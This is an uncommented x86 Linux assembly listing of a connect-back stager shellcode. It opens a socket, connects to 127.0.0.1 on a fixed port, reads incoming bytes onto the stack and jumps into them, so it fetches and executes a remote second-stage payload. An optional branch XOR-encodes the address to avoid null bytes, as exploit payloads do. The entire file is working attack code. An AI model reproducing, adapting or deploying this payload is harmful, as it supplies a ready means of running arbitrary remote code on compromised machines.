.globl main #.equ NONULLS, 1 main: nop __BEGIN__: xor %ebx, %ebx socket: push %ebx inc %ebx push %ebx push $0x2 push $0x66 pop %eax mov %esp, %ecx int $0x80 xchg %eax, %edx connect: pop %ebx .ifdef NONULLS mov $0xfffefe81, %eax xor $0xfefefefe, %eax push %eax mov $0x4141ffff, %eax xor $0xfefefffd, %eax push %eax .else push $0x0100007f pushw $0xbfbf pushw %bx .endif mov %esp, %ecx push $0x66 pop %eax push %eax push %ecx push %edx mov %esp, %ecx inc %ebx int $0x80 recv: pop %ebx cdq mov $0xc, %dh mov $0x3, %al int $0x80 jmp *%ecx __END__: nop